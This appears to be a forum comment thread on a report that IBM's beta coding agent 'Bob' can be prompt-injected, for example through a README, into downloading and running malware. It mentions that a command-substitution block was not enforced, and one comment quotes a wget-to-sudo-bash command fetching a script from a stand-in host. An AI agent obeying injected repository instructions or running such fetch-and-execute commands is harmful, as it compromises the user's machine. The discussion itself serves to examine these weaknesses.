IBM AI ('Bob') Downloads and Executes Malware

"IBM Bob is IBM’s new coding agent, currently in Closed Beta. "

Promptarmor did a similar attack(1) on Google's Antigravity that is also a beta version. Since then, they added secure mode(2).

These are still beta tools. When the tools are ready, I'd argue that they will probably be safer out of the box compared to a whole lot of users that just blindly copy-paste stuff from the internet, adding random dependencies without proper due diligence, etc. These tools might actually help users acting more secure.

I'm honestly more worried about all the other problems these tools create. Vibe coded problems scale fast. And businesses have still not understood that code is not an asset, it's a liability. Ideally, you solve your business problems with zero lines of code. Code is not expensive to write, it's expensive to maintain.

(1) https://www.promptarmor.com/resources/google-antigravity-exf... (2) https://antigravity.google/docs/secure-mode

These prompt injection vulnerabilities give me the heebie jeebies. LLMs feel so non deterministic that it appears to me to be really hard to guard against. Can someone with experience in the area tell me if I'm off base?

I'm not saying IBM shouldn't try, but really – why is IBM building coding CLIs? They're like the company version of the Steve Buscemi "How do you do, fellow kids?" meme.

> Bob has three defenses that are bypassed in this attack

This section describes the bypass in three steps, but only actually describes two defenses and uses the third bullet point as a summary of how the two bypasses interact.

Sounds like most of this is simply taking shortcuts instead of properly parsing[0].

0: https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-va...

You can probably get any coding agent with this if you put these instructions in the README/CLAUDE.md/AGENTS.md or whatever of your repo.

It's unclear to me if Bob is working as intended or how we should classify these types of bugs. Threat modeling this sort of prompt injection gets murky, but in general don't put untrusted markdown into your AI agents.

This is an article with a very very high commercial vested interest in the software they sell (promptarmor.com - "All AI Risk is Third Party Risk").

pretty funny that the text shown users when trying run commands with substitution like $() specifically says they block process substitution in commands, but the code just doesnt block it at all

I didnt know IBM was even in this game.

I can’t believe the Bob CLI is just another fork of the Gemini CLI, no wonder Anthropic has the moat in agentic development CLIs, at least they are developing their own.

Maybe I'm paranoid, but allowing any coding agent or tool to execute commands within terminal that is not sandboxed somehow will be prone to attacks like that

Think about this for a second. So we're telling me that IBM just created an AI assistant that's basically been trained to run malware if you tell it nicely? That's wild, man. That's actually insane.

Like, we're at this point now where we're building these superintelligent systems but we can't even figure out how to keep them from getting pranked by a README file? A README FILE, bro. That's like... that's like building a robot bodyguard but forgetting to tell it the difference between a real gun and a fake gun.

And here's the crazy part - the article says users just have to not click "always allow." But dude, have you MET users? Come on. That's like telling someone not to eat the Tide Pod. You're fighting human nature here.

I'm telling you, five years from now we're gonna have some kid write a poem about cybersecurity in their GitHub repo and accidentally crash the entire Stock Exchange. Mark my words. This is the most insane timeline.

Key part of the article../

“if the user configures ‘always allow’ for any command”

I don't see the problem here.

We have automated the task of developers blindly executing

  wget -qO - http://shadysite/foo.sh | sudo bash

It's a net win for everyone involved.

Malware writers and their targets alike, who, eager to install the latest fad library or framework would have voluntarily installed it anyway.

Feels like whitelisting URLs that an AI can access is a good idea.

Would be more amusing if Microsoft resurrected the "Bob" name for something AI.

The killer use case for AI will be bonzi buddy reborn.

I'm surprised there's no mention about disclosing the bug to IBM?. Usually these kinds of disclosures have a timeline showing when they told the vendor about the bug and when it was fixed. Now it looks like they just randomly released the vulnerability info on their blog.

Also a bit annoyed there's no date on the article, but looking at the HTML source it seems it was released today (isn't it annoying when blog software doesn't show the publish date?).

It was Bob? Sure it wasn't Mallory? ;)

Et bah c'est bien !

Thought the product looks good for a prototype, but crazy as a published product.

Then found out it's a closed beta.

So ... ok? Closed beta test is doing what such a test is supposed to do. Sure, ideally the issue would have been figured out earlier, especially if this is a design issue and the parsing needs to be thought out again, but this is still reasonably inside the layers of redundancy for catching these kinds of things amicably.

I hate this type of headline.

Imagine if we had something like:

    "google downloads and executes malware"
    "outlook downloads and executes malware"
    "chrome downloads and executes malware"

    "a person using a computer downloads and executes malware"

Do we really need another LLM CLI ?